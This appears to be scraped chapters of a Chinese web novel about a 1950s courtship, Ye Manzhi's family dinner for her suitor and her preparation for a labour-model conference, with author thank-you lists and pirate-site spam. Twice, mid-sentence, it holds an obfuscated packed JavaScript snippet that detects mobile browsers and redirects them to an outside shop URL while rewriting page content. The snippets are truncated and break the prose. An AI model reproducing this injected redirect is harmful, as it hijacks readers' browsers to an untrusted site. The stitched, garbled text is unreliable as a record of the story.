今天还是双方第一次面对面接触。 近距离一瞧,这孩子长得可真好,难怪叶来芽那丫头整天五迷三道的。 吴峥嵘尚未来得及说什么客套话,屋子里的女同志们便七嘴八舌夸起人来了。 “二姐,咱家这新姑爷长得可真是周正,来芽有眼光!” “听说是组织介绍的,还是组织有眼光!” “常姐,你家姑爷长得修眉俊眼的,比我家那个五大三粗的姑爷耐看多了。” 叶家的小客厅里挨挨挤挤全是人,基本没有下脚的地方。 除了叶家的亲戚朋友,还有本层楼的好几户邻居。 姑娘的对象第一回上门,放在谁家都是头等大事,常月娥提前 一个礼拜就开始为今天这顿饭做准备了。 不过就算她长出八只手来也不可能一上午就弄出几十口人的饭菜。 好在这年头的邻里关系亲近谁家要办大事喜事所有人都会伸手帮忙。 今天这桌席面就是关系好的邻居们帮忙置办的! 有的帮着添两道菜有的帮着蒸馒头烙饼 邻居们见过吴峥嵘以后满足了好奇心与常月娥招呼一声便嘻嘻哈哈地笑着离开了。 屋里腾出了一些空间但不多。 吴峥嵘的目光快速在室内掠过除了小客厅里这些人几个房间里居然也有人! 他不是没见过世面的然而甭管他见过多大的世面这种相看姑爷的阵仗却是第一回经历。 见他额角冒汗脸上神情有一瞬间居然是空白的叶满枝心里快要笑死了。 自打吴峥嵘进了她家的门只说过两句话。 第一句喊“大舅”。 第二句是跟常月娥打招呼“阿姨好”。 把手上的礼物送上以后就再没有他插嘴的余地了。 这屋里人多又生着炉子叶满枝让他把军大衣脱了然后带着他把自家亲戚挨个认了一遍。 大舅大舅妈三姨四姨小姨大伯大伯母这些是长辈。 之后还有亲哥亲姐嫂子姐夫表哥侄子等等平辈和晚辈。 吴峥嵘将人认了一圈尽量将称呼和人脸对上号。 要是记性不好想娶叶家姑娘还挺有难度的光是认亲戚就是一项大工程。 叶守信对今天这个排场很得意一边张罗着开饭一边对吴峥嵘说:“今天来的这些亲戚都是住在城里的老家还有些亲戚我暂时没通知以后有机会再给你介绍吧!” 吴峥嵘:“……” 他没什么可说的只能笑着点点头。 叶家已经为四个儿女办过婚事了轮到叶满枝这里叶守信和常月娥早已积累了丰富的嫁娶经验。 叶守信认为姑爷第一次上门尤其是当领导的姑爷第一次上门他们绝不能怯场一定要在人数和气势上压倒对方! 在双方还不甚亲密的情况下不能干坐着聊天必须先 上桌喝几杯把酒喝开了也就好聊了。 所以叶家开席特别早吴峥嵘刚进门没多久 鹅小说全网首发无弹窗免费阅读qiexs.com?(请来企 鹅小说 看最新章节 完整章节)就被请到了饭桌上。 常大舅问:“小吴咱用杯子还是用碗?” 这话的潜台词是你小子酒量怎么样。 吴峥嵘往那容量不小的酒坛上瞟了一眼心说酒坛子都摆出来了今天无论如何得敞开了喝。 于是笑着说:“第一回见大舅和大伯就用碗吧我陪您二位多喝几碗。要是酒后出丑了您多见谅。” “哈哈哈在自家喝酒有什么出丑不出丑的!”常大舅帮他把酒碗满上不经意似的问“刚进门的时候见到我们家这么多人被吓了一跳吧?你们家应该没有这么多人吧?” 一众人纷纷将耳朵竖起来知道大舅这是打听吴峥嵘的家庭情况呢。 今天的戏骨要来了。 吴峥嵘与他碰个碗将酒干了才如实说:“我家的亲戚朋友也不少不过因为工作原因分散在天南海北常年聚不到一处。我有一个哥哥一个姐姐随我父母在南方工作生活。有个妹妹在北京读大学。滨江这边只有我爷爷奶奶、小姑和舅舅。等来芽去我家的时候可能拿不出今天这样高规格的接待水平。” “那有啥!人多有人多的热闹人少也有人少的好处人跟人相处主要还是得投缘。”常大舅叹了口气说“虽说来芽跟你是组织介绍认识的但我们其实还是比较担心……” 他在饭桌上指了指“你也看到了我们就是普通的工人家庭出身听说你们家是书香门第大知识分子就怕来芽去了你家以后被长辈们笑话。” 吴峥嵘主动帮他把酒碗斟满不以为然道:“大舅无论什么出身都是要为社会主义建设服务的工人家庭出身其实是一个很突出的优势否则组织也不会介绍我们认识了。” “来芽本身是非常优秀的女同志她前段时间出版的图书被我奶奶赠送给她读书会的老姐妹们反响特别好。说实话我奶奶早就催过我带她回家去玩主要是我一直没见过咱家的长辈不好直接把她领回家去。” 常月娥惊喜地问:“你奶奶还看过我们来芽的书呢?” “嗯我送给她两本她觉得内容很不错又自掏腰包买了二十本 送给她的朋友们了。 事实上,奶奶掏的是他的腰包。 但将书送给老姐妹却是真的。 闻言,常大舅问:“你家的老人应该挺为你的婚事着急吧? 作为大舅,他今天就是来当讨人嫌的恶人的。 所以打听亲家情况的任务,都要由他完成。 老丈人和丈母娘以后还要与女婿长期相处,一些容易得罪女婿的话题,不能由他们亲自提问,就需要舅舅这样,够身份又不会与外甥女婿时常见面的人来问。 “确实比较着急,不过有关结婚的事,我都听来芽的。我俩结婚以后要单独住在军工大院里,我父母和爷爷奶奶都不在身边。家里没有长辈,来芽还年轻,单独过日子可能还需要一些适应时间。 经过最初的惊讶和愣怔之后,干了两碗白酒的吴峥嵘已经回过味儿来了。 他自己就是滨江本地人,从小到大从没听说过谁家相看姑爷会搞这么大的排场。 叶家此举,无非是想让他知道叶满枝是全家的宝贝蛋,有一个人数众多且实力雄厚的娘家给她撑腰。 他只要明确表态,叶满枝与他结合以后,会继续被当作宝贝蛋,然后陪老丈人和大舅把酒喝好,今天这一关他就能安全渡过了。 吴峥嵘这番话,果然很让老叶和大舅满意。 有关结婚的事,听来芽的好啊,听来芽的不就是听老丈人和丈母娘的嘛! 叶家虽是大家庭,但他们并不想给闺女找个家庭关系太复杂的婆家。 以后叶满枝跟吴峥嵘单独居住,身边没有公婆和兄弟姐妹。 这种条件放在普通家庭也是很难得的。 常月娥和大舅妈立即招呼新姑爷赶紧吃菜。 …… 隔壁东屋里,大姐叶满金低声说:“你找的这个吴团长,挺会哄人的啊! “怎么哄人了? 今天老叶家摆了三桌席面,客厅一桌,两个屋里的炕上还有两桌。 主桌是留给主角和长辈们的,叶满枝不算主角,被撵到小孩这桌了,徒留吴峥嵘独自面对一众长辈。 大姐给麦多夹一个鸡翅膀,又往自己碗里夹了一个鸡腿,哼笑道:“就凭他第一次上门 不穿军装我就能断定他很会哄人了!” 会哄人是委婉的说法。 大姐更想说这吴团长心眼多。 军人在普通百姓间的地位和口碑是相当高的一般的青年军官初登老丈人家门哪个不是把全套军装焊在身上的? 她之前还跟老二嘀咕过吴团长要是穿着全套军装上门肩章领章闪亮亮的家里这些老头子恐怕不好耍威风。 结果人家根本没穿军装外面的军大衣一脱只穿了件灰毛衣就被老头子们弄上酒桌了。 这位军代表同志年纪不大但在讨媳妇这方面还挺能屈能伸的。 人家没穿军装彰显身份家庭情况也从头到脚抖落得干净这会儿老叶对他的称呼已经从“小吴”变成“峥嵘”了。 大姐撑着炕桌往客厅里瞅了一眼自家胡建南和老二家的徐大军都在桌上陪客呢。 胡建南向来以“老丈人最喜欢的姑爷”自居。 这回有了新姑爷他这旧姑爷的地位恐怕要保不住了。 大姐的视线在酒桌上转了一圈扫到叶家大伯的时候皱眉小声说:“咱爸喊大伯两口子来干嘛啊?” 叶满枝也不待见大伯但这是常月娥要求的。 “咱家在城里就这几户亲戚新姑爷早晚要跟他们碰面的与其单独见面还不如大家一起见一见他就算是有什么话要说也不可能当着大家的面提出来。” 二姐停住筷子问:“大伯最近是不是又找你了?” “没找我但找咱爸了还是为了他家晓东的事。” 叶家姐妹凑到一起八卦总是聊不完的。 叶满枝没打算替大伯瞒着把欢吃欢造的侄子扒拉到一边然后凑近两个姐姐说:“晓东闹着要去支援新疆建设咱大伯和大堂哥都不同意。” 二姐惊讶地问:“晓东才多大啊?去新疆干嘛?” “16也不算小了。你们可能还不知道现在城里的剩余劳动力挺多的我们街道办这几个月都在动员农民返乡搞生产。不过留在城里的无业年轻人也不少最近市里下发了文件可以动员29岁以下的知识青年去支援新疆建设晓东是初中毕业生也算是符合条件了。他被同学鼓动 他爸及时逮回来了。” 因着孙子差点偷偷跑去新疆大伯前阵子往军工大院跑了好几趟。 让老叶帮忙想想办法帮晓东联系个像样的工作。 老叶要是有门路早就先把自家老四的工作解决了。 但让16岁的孩子独自去新疆支援建设也确实太小了些。 他便提议让晓东去煤炉厂上班。 叶满枝只比晓东大两岁 要是大伯愿意叶满枝还真能想办法把晓东安排进煤炉厂。 关键是大伯瞧不上那个煤炉厂煤炉厂发的是计件工资还没有劳保和公费医疗跟公私合营或集体企业差不多。 这事儿也就不了了之了。 大姐听她介绍了原委撇嘴说:“要饭的还嫌饭馊等到晓东真跑去新疆他就老实了!” “谁说不是呢!” 叶满枝一边说着话一边关心外面的动静。 结果这一看不要紧吴峥嵘起身跟五哥喝酒碰杯时脚下已经打晃了。 她赶紧下桌跑去外面问:“大舅你们让他喝了多少啊?” “哈哈没喝多少!”常大舅心虚地说“一会儿睡一觉就好了!” 这新姑爷不愧是当兵的酒量好人也实在! 岳家这边的敬酒人家来者不拒。 半顿饭的工夫他带来的那坛子烧酒已经见底了。 常月娥也怕把未来姑爷喝出毛病来让他跟老五喝完最后一碗酒连忙喊人将他扶进叶满枝的房间歇着。 叶满枝这间屋子今天没作他用就是特意留出来给新姑爷醒酒的。 还是她有先见之明这不就派上用场了嘛! 叶满枝帮他把鞋脱了又拿毛巾帮他擦了擦脖子上的汗。 结果吴峥嵘醉得迷迷糊糊闻着她身上隐隐带出的香气拉过她就在嘴唇上亲了一口。 拇指在她脸颊上摸了摸嘟哝了句“你自己玩我先睡会儿”偏头便睡了过去。 叶满枝呆立在原地攥着毛巾的手也僵在半空。 隔了好半晌她才鼓起勇气扭头看向横眉立目的常月娥以及似笑非笑的大姐。 常月娥深吸一口气低斥道:“ 傻站着干什么?还不出去招待客人!” 她是过来人,一看那动作的熟练程度,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362669|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道这俩小年轻肯定早就亲过了! 幸好屋里没有外人,否则让人瞧见了像什么样子! 红霞从面颊蔓延到脖子根,叶满枝张口结舌不知该如何解释。 常月娥不用听她解释,沉着脸将人拽了出去,好像躺在床上那人是什么危险分子似的。 醉梦中的吴峥嵘,尚不知道自己已经在丈母娘那里露了底。 他今天第一回登门,总要拿出些诚意来。 被叶家人轮番敬酒再回敬,他就这样不出意外地被成功灌倒了。 等他彻底清醒的时候,窗外天色早已暗了下来。 室内一丝光亮也无,房门紧闭着,隐约能听见门外有刻意压低的争执声。 吴峥嵘对这声音还有印象,似乎是叶满枝的大伯。 他坐在床上听了一会儿,而后起身摸索着打开了房门。 见他醒了,客厅里谈话的几人骤然一静,叶满枝想给他倒杯水喝,余光里瞥见妈妈的表情后,又老老实实坐了回去。 吴峥嵘没注意到她的反常,对叶大伯说:“大伯,晓东的事,来芽早就跟我提过了。不过我只是军方代表,656厂的人事问题我不好插手。我有战友在新疆军区那边,您要是舍得让孙子吃苦,我可以安排他去那边当兵。” 作者有话要说 晚9点还有一更~ 一百个红包,晚上见~ 感谢在2024-08-1512:16:19~2024-08-1612:20:40期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:大玉米1个; 感谢投出手榴弹的小天使:是HyunA1个; 感谢投出地雷的小天使:Jelly、星星点点、媛媛媛媛媛、377127381个; 感谢灌溉营养液的小天使:sisy176瓶;今云妆121瓶;康康96瓶;拾伴90瓶;是HyunA77瓶;11、Rorykai、安宁、小K思50瓶;璇姐、十三姑娘、妮囡囡40瓶;ahxlj61738瓶;灌汤包、鲸鲸惊惊惊惊、我欲 饮酒高阳池、小情绪、依稀记得爱、风见琴音、凌言千、24088818、小布塔30瓶;举个栗子24瓶;萤、偏偏21、老妈想吃肉、Pop3服务器、limify、楠有佳人、我是你的小可爱吗、猫饼团子、8888888、镏铢钳、熬夜冠军、豆子、莫爱、小小、月野兔、huihui、风绮、土豆狂魔biubiubiu、48167480、看到我请叫我去写作业20瓶;可可爱爱18瓶;却慈、孙素培、向向15瓶;吾名四夕山风、墨染槿涩14瓶;么么哒13瓶;Anita、爱吃包子的喵、叶慈、要自信要勇敢、nnnnnmmmm、一顾、暖白芷、闪耀星的小羊、二美啊、洛洛华城、温酒、冷月碧落散青石、疯一样的子、羽童童的小羽儿、今天学习了吗、佳宝至爱、米花糖、随便吧、widely21、Betty、summer、毛利人MAORI、元芝桃桃、小荷才露尖尖角、睡睡、haosmile、我爱海韵、像极你眉眼、56386405、爱吃土豆、呦呦、63718905、^_^、星星点点、Carol、秋日晚桃、澪濎、树上有只熊、蟹老板的螃蟹?、螺蛳粉杀手、32835845、岚小落、2533686210瓶;糖果、哇汪汪、香樟路1248号8瓶;能不能别抽了、Amberzj7瓶;沅沅、691777866瓶;柏、小张1234567、星星star、青鸟、57588418、白萝卜、斯维特、一条水里的活鱼、寒雪、双马尾胖虎、韶光明媚、唯爱bg超爱女!禁男视、吃瓜卷大饼、65895395、zjzdoyouknow、原罪-蛋蛋、不要受委屈!、新鱼、狸花猫、水炖鸽子精、小说是我唯一的爱、趣晗??、如月、爱困的雪碧、多多、38964072、于胖豆丶、wuyun、yleve、cd830313、haoqi、魔芋一下5瓶;宝贝4瓶;沐澄、小教主、榴莲儿、今天也充满元气、芙蓉毛球、宅宅jiang、晚来天欲雪3瓶;crystal、47473392、汽泡酒、竹秋、??花花家的虎虎、圆子、禾乌昂、想不出名字的马小马、yoyoclinic、xinxinran2017、黑灯下黑、tiamo、bingmay、35857023、Oshyeye、柠檬 精、穿越星际、X、徐徐徐莫庭2瓶;春天花花、无怨、可不敢和、30597907、杰子、cc?、豆子、尚千辰、花璨、爱书人、雾弥、helloza、不出、赤西恋、果子、67332401、喵喵、天天向上、沅沅、呜咪、秋风起兮夜微凉、墨陌、天晴无雨、20521816、halo、69057614、∞、毛猫、taylor、Happs、曼曼掏粪工、啦啦啦、33147781、嘀嗒嗒、漫舒、69208282、小乙巴猫、ヘ( ̄ω ̄ヘ)?、蒜蓉鼠条、可尔必思、秋雨、熊孩子都走开、蛇蝎美人2022、xiaoxiao、早日到账、阿拉蕾、我不会放过任何更新、肚不秃头不凸、菇菇摩卡、林花花、明明、胡小□□uanxuan127、我演戈多、颜渊凌熹、啊~兔、小野盛盛、江江江、cat?le、流水向西、品卓、太子早日登基、小鸣、滴滴哒哒、陛下是学材料的、63037405、lenfen123、然然然然然然然然、科科、柠檬的柠的檬、阳光、LL、青溪、鲁米茜茜、一点也不烦1789、muza、yangtt、鸽鸽在线头秃、顏则正、魏婴、向御追日、北桥楠木、natsuki、千与千寻、天光云影、妮妮、我的王霸之气在燃烧、YU、巧克力张张包、‘早起的虫儿、被鸟吃、红糖酥饼、过家家、R。、平平无奇、tianxiawukeng、ll、快点更文、airmmnn、时闻、金子、小砂子的深夜食堂、星空、jialuoyou、Karen星微、花心的阿皮、完美斗金、萍萍、hh、成成、拿秦希武、Pineapple、23192904、龚俊什么时候出来玩、清凌凌冷清清、鲈鱼轻轻、遨游在奇思妙想中的?、天天熬夜怎么办、温璜、缺德三公主、垃圾晋江、晨熙麻麻、哔哩吧啦、一杯柠檬红茶、白了个白、辣条酱、en-y式、沙子、懒得取名、空晓闻悠、喵喵摸~、木木心、追的文都不断更、莞婉、爱看小说的兔兔、未央微凉、砳砳12138、27309228、sai好きです、Nora、哦呦呦、秋秋糖、李木木、是阿虚啊、21145862、紫妤、小鱼尾巴、美好晴空、Renhy、洛、章鱼丸子、296082541瓶; 非常感谢大家对我的支持,我会继续努力的! 看这本书的人都是很幸运的,分享后你的运气会更棒的 第 56 章 单纯的二等模范,... 第56章单纯的二等模范, 一人参军全家光荣,是时下很流行的一句口号。 谁家要是能走出一个当兵的儿孙,家属在村里说话都能更大声。 叶大伯当然知道当兵的好处,可是抗美援朝的事就近在眼前,当兵就要做好牺牲的准备。 真把孩子弄去那么远的地方当兵,他心里实在舍不得。 大伯母问:“去新疆当兵和去新疆支援建设不是一回事吗?” 吴峥嵘笑了笑,没答她的话,自来熟地提起桌上的水壶,给自己倒了杯温水喝。 茶缸外面套着一件花里胡哨的毛衣,一看就是叶满枝的,跟她给饭盒织的毛衣风格统一。 叶满枝不知他是随手拿的,还是认出了自己的茶缸。她偷眼去瞄常月娥,好巧不巧地与对方撞上了视线。 只好心虚地将目光挪开,假装无事发生。 叶守信说:“当兵跟志愿支援建设当然不一样,孩子响应号召去支援建设,人生地不熟,还不知会被分配到什么工作。去当兵的话,最起码能有熟人照应,晓东不至于被人欺负,军人的饭碗比工人的饭碗还铁呢。” 大伯母还想讨价还价,“我们愿意让孩子当兵,但能不能去个离家近的地方当兵啊?” “……”叶守信不想让未来姑爷掺和自家的糟心事,扭头说,“峥嵘,明天还得上班,让来芽送送你,你早点回去休息。晓东当兵的事,我们再合计合计。” 叶家的客人早就走得七七八八了,只剩大伯两口子跟叶守信念叨孙子工作的事。 吴峥嵘出了主意后,也不打算久留。 与叶家人道别,便跟着叶满枝下楼去了。 “你脸怎么那么红?”来到一楼时,吴峥嵘将手背贴到她脸上试了试温度。 “还不是因为你!”叶满枝拍开他的手,气呼呼道,“我今天算是把脸丢尽了!” “我一个人对战你家11个男人,这个战斗力应该还可以吧?”吴峥嵘笑,“当你家姑爷太不容易了。喝不倒,老丈人不满意。喝倒了,媳妇又不满意。” 叶满枝被他这声媳妇喊得脸颊更烫了,眼里也随之染上了水色。 她犹豫了一阵,觉得不能只 有自己丢人,趴到他耳边,吞吞吐吐地将下午的事情讲了。 吴峥嵘愕然,“真的? “我骗你有什么好处啊? “…… 吴峥嵘内心还有些这个时代的保守,被丈母娘和大姨子撞见隐私,确实有点尴尬。 他敛眸沉思了一阵,想到一种可能,不由皱起了眉头。 见状,叶满枝神色略显慌张地问:“怎么了? “阿姨不会把你的门禁时间调整到6点吧? “……叶满枝剐他一眼,“你能不能正经点!我说正事呢! “我说的也是正事。 见他神情凝重,似乎真的在为门禁时间担心,叶满枝不知怎么就有点想笑。 算了,看在他是大美人的份上,原谅他吧。 除了这件糗事,吴峥嵘今天的表现还是可圈可点的。 将负面情绪转移给他以后,叶满枝心里舒坦多了,一面藏到他身后躲楼道口的冷风,一面小声问:“让晓东去当兵,会给你添不少麻烦吧? “难得有机会给老丈人献殷勤,我帮他把晓东的事情解决了,也省得你跟着烦心。吴峥嵘想了想补充说,“你跟大伯讲清楚,晓东必须通过体检,我才能走后面的程序。 叶满枝哼道:“我觉得他未必舍得让晓东去新疆。 “嗯,今年夏天海军可能也会来滨江征兵,看他自己的意愿吧,如果愿意等,就等等海军的名额。 叶满枝腹诽,在他想来,海军可能更好一些。 但大伯恐怕宁可选择新疆也不会让孙子去沿海,沿海不算特别太平。 她与吴峥嵘在楼道口说了会儿话,目送他消失在路口,便快步折返回家。 老叶还在对大伯两口子说:“吴峥嵘又不是军区首长,哪能随便塞人?你看他才多大年纪?他战友肯定也不大。这样的年轻人能是多大的官?人家帮忙办事肯定要搭人情的! 大伯又说了什么,叶满枝没仔细去听。 她脱了军大衣,没在客厅逗留,也没提海军征兵的事,直接回了自己的房间。 以大伯的脾气,晓东要是真的上了战场,他未必会让孙子当逃兵,但肯定会埋怨他们家。 她不想给吴峥嵘找麻烦, 也不想给自己添堵索性就不提了。 大伯选在这样的日子跟老叶提起让晓东进厂的事目的不言自明。 这事办得看似失礼又丢人其实时机把握得正好。 吴峥嵘还不是正经姑爷叶家亲戚第一次求他办事若是拒绝了不免显得不近人情。 他若是普通年轻人大伯的小算盘十有八九能成。 但吴峥嵘连副厂长的条子都敢撕自然不是好拿捏的。 他肯送孩子去当兵算是把他一辈子的前途铺好了谁能说他这个主意不好? 但当兵地点在千里之外的新疆又让大伯两口子难以抉择。 如果大伯放弃了这么好的机会以后也就不用再开口找吴峥嵘办事了。 叶满枝决定将这件事收录进自己的日记里单纯的“二等模范”要跟精明的“特优”多多学习。 房间里似乎还有些没能消散的酒气她将气窗打开一条缝通风。 躺上枕头的时候想到吴峥嵘竟然在她的床上睡了一下午心里感觉奇奇怪怪的。 常月娥敲门进来时见她揪着枕巾在鼻子下嗅闻刚好转一些的脸色又沉了下来。 叶满枝默默哀叹一声勉力挣扎道:“枕巾上有点酒气 这动作显得她有点那什么。 常月娥沉声问:“你俩在一起的时候他没欺负你吧?” “没有。” “既然没有你脸红什么?”常月娥的表情活像个劫持良家妇女的土匪恶霸。 “你问这种事我能不脸红么。”叶满枝喃喃道“他是军人你就放心吧!” “我之前就是对他太放心了!” 男人果然没一个好东西! 常月娥虎着脸说:“你以后下班就直接回家不许出去瞎晃荡!5点下班最晚6点进家门!” “???” 叶满枝简直惊呆了。 竟然真的被特优同志说中啦? 她要赶紧写到日记里! “你那是什么表情?笑什么笑?”常月娥压低音量说“你要是见过他父母领了结婚证我才懒得管你。姑娘家在这方面容易吃亏事情没敲定之前你不许由着他胡来!” 叶满枝脸 色暴红嘟囔道:“今天是个意外我俩才不是那样的人呢!再说我最近要参加市里举办的‘工业劳动模范代表大会’领导让我代表单位上台发言我连区里的大会都没参加过更何况是市里的呢!我想让吴峥嵘帮我把把关!六点怎么回得来啊?” 常月娥不想耽误闺女工作踌躇片刻说:“那最近先这样等你参加完那个大会以后必须每天六点回家!” * 叶满枝没撒谎工业劳动模范代表大会就像悬在她头上的一把利剑自从接到穆主任安排的任务后 一是因为要搜集大量资料和数据印证她的猜测。 二是因为她从来没在那么多人面前正式演讲过。 市委礼堂她是去过的少说能容纳六七百人。 让她在这么多人面前发言光是想想就头皮发麻。 以前听人家发言的时候她觉得挺简单可是轮到自己动笔了她甚至连称呼和开场白都有些拿不准。 别人发言时怎么开场的来着?她竟然一个也想不起来! 自身尚有很大不足而开会时间却在一天天逼近。 叶满枝感觉自己从未如此焦虑过。 不过紧迫感似乎能激发人的潜能她很快就想到了一个绝妙的主意! 临近年关各单位的大小会议不断尤其是总结大会、表彰大会、颁奖大会。 反正各种会议名目繁多。 叶满枝让吴峥嵘帮她打听了656厂最近一次大会的时间地点。 然后她就带着笔记本偷偷跑去人家的大会上抄作业了! 这种表彰大会都有代表发言她把人家用过的称呼、开场白、口号等等有用的信息一一记录下来再补充进自己的发言稿里。 一篇有理有据根正苗红的发言稿就这样出炉啦! 嘻嘻。 由于她是代表单位去发言的最终的发言稿还要给穆主任过目一下。 穆主任看完以后摘下眼镜揉着鼻梁说:“还不错但有些用词还需要再斟酌斟酌。明天的大会让魏珍或者老凤跟你一起去吧我就不去了。” “主任这么大的活动你都不去啦?” “走不开了刚才突然接到通知 市里要效仿上海发展城市公共交通把人力车送进博物馆。” 叶满枝惊讶地“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465584|132011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊”了一声。 她突然记起去年秋天的时候吴峥嵘就提起过这个话题黄包车夫的工作可能干不长。 她后来找机会跟薛巧儿提过一次。 如果及时从黄包车队转回三轮车队饭碗应该能保住。 但国家若是真的决定撤销黄包车极有可能会给车夫们重新安排工作。 对于薛巧儿来说取缔黄包车未尝不是一次机会。 叶满枝让她自己拿主意。 薛巧儿当时没能做出决定但她这几个月一直在黄包车队上班。 穆主任揉着鼻梁愁道:“咱们街道的人力车夫特别多一旦人力车被废除就是断了他们的生计以后怎么过日子?市里暂时还没有安置办法我怕消息公布以后有人会闹起来!我明天得在单位守着模范大会那边 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)你自己去吧。” 作者有话要说 一百个红包明天见~ 感谢在2024-08-1612:20:40~2024-08-1620:59:28期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出火箭炮的小天使:蛇蝎美人20221个; 感谢投出地雷的小天使:牛牛1个; 感谢灌溉营养液的小天使:风.宝宝1212200瓶;是大大呀98瓶;Evelynn60瓶;H50瓶;司琉、家有小茄、路随人茫茫40瓶;谷晴子38瓶;风风风35瓶;2770838134瓶;呜哇呜哇32瓶;6901423130瓶;一挖一麻袋25瓶;胡半仙、我是卖报的小行家、岁岁年年、Phoebe2026、山乐乐、不用谢我的营养液、西柚、云淡风清、跑圈圈、牛奶可乐要加冰、今朝欢乐便无愁、不瘦下来,不买衣服、爱爬树的喵、哒哒哒、高兴、天上虹20瓶;夏洛的网18瓶;别叫我上班呀16瓶;顾墨嫣然、微然、镏铢钳15瓶;想不起名字、小楼又东风12瓶;羽童童的小羽儿、茶莹11瓶;朱朱、渐晚、不承重不戴冠、茗茶、浅陌、狸、63314292、收藏不过万的不看、扑棠、Anita、我 爱海韵、云烁、夏天就要穿裙子、洛奇没有鱼、螃蟹、vv、庞家二闺女、门口有花卷、娇娇10瓶;蟹老板的螃蟹?、瑶光9瓶;爱吃土豆8瓶;花间一壶梨花酒、馨冉、496563496瓶;不要受委屈!、雅子知心湖、蕾**蕾、双马尾胖虎、竹子、小英雄布莱特、柏、多肉葡萄、里昂、李佳熹、月儿墨枫、爱吃胡萝卜的熊猫、云云、爱吃鸡腿子、取个名字很难、葡萄橘子草莓、桃花酒5瓶;34853268、~维E安好~、231087704瓶;鱼儿、.泪海的盐、浩浩汤汤3瓶;柚子的噗噗精、憨憨、波波鲨他宝贝的真帅!、明月松间照、鸵鸵、甘露、宝贝、今天努力了吗2瓶;宅宅jiang、团子的早晨、颜颜、哦呦呦、三叶草??、嗷呜嗷呜小奶龙、柠檬的柠的檬、小熊、花花家的虎虎、北桥楠木、yangtt、vjk、想不出名字的马小马、酸奶少68、雾弥、贵宾小甜甜、毛猫、可爱加油减肥中、砳砳12138、巧克力张张包、天晴无雨、‘早起的虫儿、被鸟吃、时闻、平平无奇、行走的海豚、69208282、柚子、30597907、LL、啊~兔、滴滴哒哒、Nora、龚俊什么时候出来玩、溪言、南居、2025年入学的研究生、natsuki、天天向上、尚千辰、阳光、小教主、咿呀咿呀哟、沅沅、嗷呜嗷呜我来啦、36774758、往往、十一宝儿、徐徐徐莫庭、aremyone、helloza、雕刻时光、秋雨、crystal、春天花花、美好晴空、∞、栀苡蓝、啦啦啦啦、Cynthia、20521816、xiaoxiao、Happs、Lychee、halo、假人亦真、啦啦啦、圆子、傅么么、Pineapple、乔巴渣、kimpl0913、啵一下有钱、鲁米茜茜、刘文文文文文文文文文、小丫、红糖酥饼、一点也不烦1789、爱看小说的兔兔、白了个白、小野盛盛、墨陌、章鱼丸子、cat?le、??时引、爱书人、禾乌昂、jialuoyou、嘁,我会骗你@、小鸣、清、拿秦希武、可尔必思、小卷毛、57089820、金子、然然然然然然然然、籍,犹赋也、鲈鱼轻轻、红烧肉薯片、63115858、李木木、花璨、穿越星际、明明1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 57 章 工业劳动模范代表... 第57章工业劳动模范代表 市里给了光明街两个参会名额,穆主任不出席的话,就要白白浪费一次机会。 鉴于之前有过去市委大礼堂开会的经历,叶满枝对大礼堂莫名推崇,总觉得放弃这次机会怪可惜的。 所以,在办公室里问了一圈后,她把有空且喜欢开会的刘金宝带去了市里。 昨晚刚下过一场大雪,两人顶着凛冽寒风赶到大礼堂时,礼堂东侧的布告栏前面围着不少人。 叶满枝小跑过去看了一眼,是市人委贴出的“滨江市一九五六年度工业劳动模范受奖名单”。 按照模范单位、车间、科室、小组和个人的顺序,张贴了三张红纸。 光明街道办事处是模范单位里的最后一名。 列在电厂、矿务局、铁路管理局等大单位后面,看起来不太协调。 好在还有一个“王家洼铁业生产合作社”与他们做伴,这个单位听起来似乎也不是什么大单位。 刘金宝钻进人群,快速将获奖名单浏览了一遍。 看到最后一张时,他兴奋道:“小叶,获奖单位能拿到奖金啊!” “能拿多少?” “不知道,上面只说奖励锦旗一面,奖金150-450元。” 奖金弹性还挺大的,估计也跟单位规模有些关系。 把150块奖励给电厂和矿务局,还不够人家塞牙缝的。 但是对于每月办公经费只有两元的街道办来说,150块算是巨款了。 能拿到150块的奖励,他们就很知足了! 两个小年轻为这意外飞来的奖金心情激动,高高兴兴地去礼堂门口登记,并领取了参会证。 大会为期两天。 第一天上午的开幕式上,致开幕词的人是叶满枝的“熟人”,那位被她扯过虎皮的刘副市长。 “各位工业劳动模范,各位同志:滨江市一九五六年工业劳动模范代表大会现在正式开幕。” “召开这次会议是为了总结交流工业生产方面的先进经验,肯定成绩的同时,还要指出缺点,提示方向。进一步发挥劳动模范和广大职工的生产积极性和创造性,争取完成和超额完成1957年的国 家建设任务。” “1956年,我们在党和主席的领导下,在工业生产战线上开展了增产节约劳动竞赛……” 刘副市长在台上讲,叶满枝在台下刷刷记录笔记。 好在领导讲话的语速都很慢,虽然内容多,但能让她囫囵记个大概。 刘金宝见她一直奋笔疾书,不由小声说:“这种开幕词有什么可记的?明后天的报纸上就能刊登这份开幕致辞的全文,你想学习的话,看报纸就行了。” “哎,你不懂!” 刘金宝就是纯看热闹的,没什么压力,但叶满枝还有上台发言的任务,她这是临时抱佛脚,想从副市长的开幕词中提取点关键信息,丰富一下自己的发言内容。 